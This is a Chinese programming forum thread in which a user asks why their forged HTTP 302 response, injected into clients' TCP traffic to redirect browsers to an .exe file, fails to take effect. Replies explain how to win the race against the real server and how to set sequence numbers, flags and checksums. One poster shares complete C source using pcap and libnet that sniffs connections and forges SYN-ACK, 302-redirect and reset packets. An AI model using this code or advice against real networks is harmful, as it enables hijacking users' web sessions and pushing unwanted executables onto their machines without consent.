免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 11921 | 回复: 15
打印 上一主题 下一主题

[C] 请教http 302重定位问题 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2013-04-09 11:38 |只看该作者 |倒序浏览
哪位大侠帮我解答一下,我把HTTP/1.1 302 Found\r\nLocation: http://1.1.1.1/testqq.exe\r\n\r\n封装到tcp的数据当中,发给客户端进行重定位,为什么总是不成功啊

论坛徽章:
0
2 [报告]
发表于 2013-04-09 11:45 |只看该作者
有没有可能是tcp首部的校验和出错了呢

论坛徽章:
0
3 [报告]
发表于 2013-04-09 12:11 |只看该作者
这个需要客户端支持,你可以用wireshark等工具抓一个正常的302包进行回放,看客户端是否有跳转。
然后对正常的302包做一下修改进行发送,看客户端是否有跳转。

这样逐步排查。

论坛徽章:
0
4 [报告]
发表于 2013-04-09 13:35 |只看该作者
我是在Linux的测试机上运行重定向程序的,运行重定向程序,然后访问一个网页,如果干扰成功就会成功跳转到的http://1.1.1.1/testqq.exe,但是总是不成功,不知道哪里错了

论坛徽章:
0
5 [报告]
发表于 2013-04-09 14:53 |只看该作者
我发送的http302包,与服务器发送的包混在了一起,怎么解决啊

论坛徽章:
0
6 [报告]
发表于 2013-04-09 17:34 |只看该作者
只要你的包比服务器的包更早到就可以干扰到用户,但是tcp的包伪造需要做很多处理
比如 ack seq flag都要设置好,包也要进行校验

论坛徽章:
0
7 [报告]
发表于 2013-04-09 18:15 |只看该作者
请问,flag设置都要注意哪些内容啊,还有就是我也觉得我的包校验有问题,要注意些什么啊,容易犯错误的

论坛徽章:
0
8 [报告]
发表于 2013-04-09 18:19 |只看该作者
我能加你的QQ吗,1047821433我的

论坛徽章:
3
2015年辞旧岁徽章
日期:2015-03-03 16:54:152015年迎新春徽章
日期:2015-03-04 09:58:11数据库技术版块每日发帖之星
日期:2015-08-30 06:20:00
9 [报告]
发表于 2013-04-09 20:21 |只看该作者
  1. //
  2. // redirect_to_local_http
  3. //
  4. // Description:
  5. //
  6. //
  7. // Author:  <king@tao.kingstone>, (C) 2009
  8. //
  9. // Copyright: See COPYING file that comes with this distribution
  10. //
  11. #include <stdio.h>
  12. #include <arpa/inet.h>
  13. #include <netinet/in.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/tcp.h>
  16. #include <netinet/udp.h>
  17. #include <time.h>
  18. #include <libnet.h>

  19. #include <glib.h>
  20. #include <gio/gio.h>
  21. #include <gmodule.h>
  22. #include <glib/gi18n.h>

  23. #include "global.h"
  24. #include "pcap_hander.h"
  25. #include "clientmgr.h"

  26. static void init_thread_libnet();
  27. static void redirector_host_resove_by_dns(GObject *source_object, GAsyncResult *res,gpointer user_data);

  28. #define        HTTP_PORT 0x5000
  29. #define DNS_PORT  0x3500

  30. #define GROUP_NAME        "http_redirect"

  31. static u_int8_t httphead[512];

  32. static u_int8_t httphead_t[] =
  33. "HTTP/1.0 302 Found\n"
  34. "Location: %s\n"
  35. "Connection:close\n\n"
  36. "<html>\n\t<head>\n\t\t<meta http-equiv=\"Refresh\"content=\"0 ; "
  37. "url=%s\">\n\t</head>\n</html>\n";

  38. static in_addr_t redirector_ip;
  39. static GList*         whiteip;
  40. static __thread         libnet_t * libnet = NULL;
  41. static u_int8_t blank[128];

  42. static void http_redirector_init(const gchar * desturl)
  43. {
  44.         char host[128];
  45.         sscanf(desturl,"http://%128[^/^:]",host);
  46.         redirector_ip = inet_addr(host);
  47.         if (redirector_ip == INADDR_NONE)
  48.         {
  49.                 g_debug(_("host in the url is not an ipv4 address, will do async dns lookup"));
  50.                 GResolver * dns =  g_resolver_get_default();
  51.                 g_resolver_lookup_by_name_async(dns,host,NULL,redirector_host_resove_by_dns,dns);
  52.         }
  53.         sprintf((char*) httphead, (char*) httphead_t, desturl, desturl);
  54. }

  55. static inline void        init_thread_libnet()
  56. {
  57.         if(!libnet)
  58.         {
  59.                 static char buf[LIBNET_ERRBUF_SIZE];
  60.                 libnet = libnet_init(LIBNET_RAW4, NULL, buf);
  61.         }
  62. }

  63. static gboolean http_redirector( pcap_process_thread_param * param, gpointer user_data)
  64. {
  65.         /*******************************************************************
  66.          * here we use TCP
  67.          * when we recv a SYN=1,ACK=0 packet, we just send a syn=1,ack=1 packet
  68.          * that contains nothing
  69.          * then we push a packet taht contains
  70.          *         HTTP/1.0 302 Found
  71.          *         Location: http://192.168.0.1/
  72.          *         connection:close
  73.          *
  74.          *         please visit http://192.168.0.1
  75.          *         and then we reset the connection
  76.          * ****************************************************************/
  77.         struct tcphdr * tcp_head;
  78.         struct udphdr * udp_head;

  79.         if(clientmgr_get_client_is_enable_by_mac(param->packet_linklayer_hdr+6))
  80.         {
  81.                 //继续交给后续代码处理
  82.                 return FALSE ;
  83.         }
  84.         //非 enable 的客户端,现在要开始这般处理了,重定向到 ... 嘿嘿
  85.         struct iphdr * ip_head = (typeof(ip_head))(param->packet_ip_contents);

  86.         if (ip_head->daddr == redirector_ip)
  87.         {
  88.                 return TRUE;
  89.         }

  90.         if (ip_head->saddr == redirector_ip)
  91.         {
  92.                 return TRUE;
  93.         }
  94.         //如果是在 white list ....

  95.         if (whiteip && g_list_find(whiteip, GINT_TO_POINTER(ip_head->daddr)))
  96.                 return FALSE;
  97.         if (whiteip && g_list_find(whiteip, GINT_TO_POINTER(ip_head->saddr)))
  98.                 return FALSE;

  99.         //        g_debug(_("thread %p is doing the redirect stuff"),g_thread_self());

  100.         //Retrive the tcp header and udp header
  101.         tcp_head = (struct tcphdr*) ((char*) ip_head + ip_head->ihl * 4);
  102.         udp_head = (struct udphdr*) ((char*) ip_head + ip_head->ihl * 4);

  103. #ifdef DEBUG_ONLY_HTTP_PORT
  104.         if (tcp_head->dest != HTTP_PORT)
  105.                 return TRUE;
  106. #endif

  107.         //初始化libnet,每个线程一个 libnet ;)
  108.         init_thread_libnet();

  109.         // http 重定向
  110.         if(ip_head->protocol == IPPROTO_TCP && tcp_head->dest == HTTP_PORT)
  111.         {
  112.                 u_int8_t tcp_flags = ((struct libnet_tcp_hdr *) tcp_head)->th_flags;

  113.                 if(tcp_flags == TH_SYN)
  114.                 {
  115.                         /********************************
  116.                          * 对于这样的一个握手数据包
  117.                          * 我们应该要建立连接了
  118.                          * 回复一个syn ack 就是了
  119.                          *********************************/
  120.                         // here we just echo ack and syn.
  121.                         libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), tcp_head->seq, ntohl(
  122.                                         tcp_head->seq) + 1, TH_ACK | TH_SYN, 4096, 0, 0, 20, 0, 0,
  123.                                         libnet, 0);

  124.                         libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0,
  125.                                         ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

  126.                         libnet_write(libnet);
  127.                         libnet_clear_packet(libnet);

  128.                         libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), tcp_head->seq, ntohl(
  129.                                         tcp_head->seq) + 1, TH_ACK | TH_SYN, 4096, 0, 0, 20, 0, 0,
  130.                                         libnet, 0);

  131.                         libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0,
  132.                                         ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

  133.                 }else if (tcp_flags & (TH_ACK|TH_SYN) )
  134.                 {
  135.                         /*********************************************
  136.                          *现在是发送页面的时候啦!
  137.                          *********************************************/
  138.                         int SIZEHTTPHEAD = strlen((const char*) httphead);

  139.                         libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), ntohl(tcp_head->ack_seq),
  140.                                         ntohl(tcp_head->seq) + ntohs(ip_head->tot_len) - 40, TH_ACK
  141.                                                         | TH_PUSH | TH_FIN, 4096, 0, 0, 20 + SIZEHTTPHEAD,
  142.                                         httphead, SIZEHTTPHEAD, libnet, 0);

  143.                         libnet_build_ipv4(40 + SIZEHTTPHEAD, 0, 0, 0x4000, 63/*ttl*/,
  144.                                         IPPROTO_TCP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);
  145.                 }
  146.                 else if (tcp_flags & (TH_FIN|TH_RST))
  147.                 {
  148.                         /*********************************************************
  149.                          *好,现在结束连接!
  150.                          ********************************************************/
  151.                         libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), ntohl(tcp_head->ack_seq),
  152.                                         ntohl(tcp_head->seq) + 1, TH_ACK|TH_RST, 4096, 0, 0, 20, 0, 0, libnet,
  153.                                         0);
  154.                         libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0,
  155.                                         ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

  156.                         printf("------------------------------------------------------------------------link disconnect\n");

  157.                 }else{
  158.                         return FALSE;
  159.                 }
  160.         }//其他 TCP 直接 RST
  161.         else if( ip_head->protocol == IPPROTO_TCP)
  162.         {
  163.                 libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source), ntohl(tcp_head->ack_seq),
  164.                                 ntohl(tcp_head->seq) + 1, TH_ACK|TH_RST, 4096, 0, 0, 20, 0, 0, libnet,
  165.                                 0);
  166.                 libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0,
  167.                                 ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

  168.         }else if(ip_head->protocol == IPPROTO_UDP && udp_head->dest != DNS_PORT)
  169.         {
  170.                 //现在是 UDP 的时代了
  171.                 libnet_build_udp(ntohs(udp_head->dest),ntohs(udp_head->source),
  172.                                 sizeof(blank)+sizeof(struct udphdr),0,blank,sizeof(blank),libnet,0);
  173.                 libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_UDP, 0,
  174.                                 ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

  175.         }else
  176.                 return FALSE;

  177. //        if(param->linklayer_len == 14)
  178. //                libnet_build_ethernet(
  179. //                        ((struct libnet_ethernet_hdr *) param->packet_linklayer_hdr)->ether_shost,
  180. //                        /((struct libnet_ethernet_hdr *) param->packet_linklayer_hdr)->ether_dhost,
  181. //                        ETHERTYPE_IP, 0, 0, libnet, 0);
  182.         libnet_autobuild_ethernet(
  183.                         ((struct libnet_ethernet_hdr *) param->packet_linklayer_hdr)->ether_shost,
  184.                         ETHERTYPE_IP,libnet
  185.         );
  186.         libnet_write(libnet);
  187.         libnet_clear_packet(libnet);
  188.         return TRUE;
  189. }

  190. G_MODULE_EXPORT gchar * g_module_check_init(GModule *module)
  191. {
  192.         gboolean        enable;
  193.         GError * err=NULL;
  194.         gchar * url;

  195.         enable = g_key_file_get_boolean(gkeyfile,GROUP_NAME,"enable",&err);

  196.         if(err)
  197.         {
  198.                 enable = TRUE;
  199.                 g_error_free(err);
  200.                 g_message("%s","[http_redirect]:[enable] not specified, default to enable");
  201.                 err = NULL;
  202.         }

  203.         if (!enable)
  204.         {
  205.                 return "[http_redirect]:[enable=false], user disabled me";
  206.         }

  207.         url = g_key_file_get_string(gkeyfile, GROUP_NAME, "url", NULL);

  208.         if(!url)
  209.         {
  210.                 return "[http_redirect]:[url] not defined, please define one";
  211.         }

  212.         http_redirector_init(url);

  213.         gchar *  ips = g_key_file_get_string(gkeyfile,GROUP_NAME,"whitelist",&err);


  214.         if(err)
  215.         {
  216.                 g_error_free(err);
  217.         }else
  218.         {
  219.                 GResolver * dns =  g_resolver_get_default();

  220.                 void resove_host_by_dns(GObject *source_object, GAsyncResult *res,gpointer user_data)
  221.                 {
  222.                         GList * hosts = g_resolver_lookup_by_name_finish(G_RESOLVER(source_object),res,NULL);

  223.                         if(hosts)
  224.                         {
  225.                                 GList * it = g_list_first(hosts);

  226.                                 do
  227.                                 {
  228.                                         GInetAddress * addr = (GInetAddress*)(it->data);
  229.                                         if(g_inet_address_get_native_size(addr)==4)
  230.                                         {
  231.                                                 in_addr_t ip;
  232.                                                 memcpy(&ip,g_inet_address_to_bytes(addr),4);
  233.                                                 whiteip = g_list_prepend(whiteip,GUINT_TO_POINTER(ip));
  234.                                                 g_message(_("%s's DNS result : %s"),(char*)user_data,g_inet_address_to_string(addr));
  235.                                         }
  236.                                 }while(( it = g_list_next(it)));
  237.                                 g_resolver_free_addresses(hosts);
  238.                         }
  239.                         g_object_unref(source_object);
  240.                         g_free(user_data);
  241.                 }
  242.                 gchar *ptr;

  243.                 gchar * one_host =strtok_r(ips," \t",&ptr);


  244.                 while( one_host )
  245.                 {
  246.                         in_addr_t ip = inet_addr(one_host);
  247.                         if (ip == INADDR_NONE)
  248.                         {
  249.                                 g_object_ref(dns);

  250.                                 g_debug(_("host %s is not an ipv4 address, will do async dns lookup"),one_host);

  251.                                 g_resolver_lookup_by_name_async(dns,one_host,NULL,resove_host_by_dns,g_strdup(one_host));
  252.                         }else
  253.                         {
  254.                                 whiteip = g_list_prepend(whiteip,GUINT_TO_POINTER(ip));
  255.                         }
  256.                         one_host = strtok_r(NULL," \t",&ptr);
  257.                 }
  258.                 g_object_unref(dns);
  259.         }



  260.         g_module_make_resident(module);

  261.         pcap_hander_register_prepend(http_redirector, 0, IPPROTO_TCP, libnet);
  262.         return NULL;
  263. }

  264. void redirector_host_resove_by_dns(GObject *source_object, GAsyncResult *res,gpointer user_data)
  265. {
  266.         GList * hosts = g_resolver_lookup_by_name_finish(G_RESOLVER(source_object),res,NULL);

  267.         if(hosts)
  268.         {
  269.                 GList * it = g_list_first(hosts);

  270.                 do
  271.                 {
  272.                         GInetAddress * addr = (GInetAddress*)(it->data);

  273.                         if(g_inet_address_get_native_size(addr)==4)
  274.                         {
  275.                                 memcpy(&redirector_ip,g_inet_address_to_bytes(addr),4);
  276.                                 g_message(_("DNS result : %s"),g_inet_address_to_string(addr));
  277.                                 break;
  278.                         }
  279.                 }while(( it = g_list_next(it)));
  280.                 g_resolver_free_addresses(hosts);
  281.         }
  282.         g_object_unref(source_object);
  283. }
复制代码

论坛徽章:
3
2015年辞旧岁徽章
日期:2015-03-03 16:54:152015年迎新春徽章
日期:2015-03-04 09:58:11数据库技术版块每日发帖之星
日期:2015-08-30 06:20:00
10 [报告]
发表于 2013-04-09 20:23 |只看该作者
这个是 09 年做项目的时候写的一个 代码。pcap 抓包 。libnet 构造虚假TCP包,向浏览器回应一个 302 跳转。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP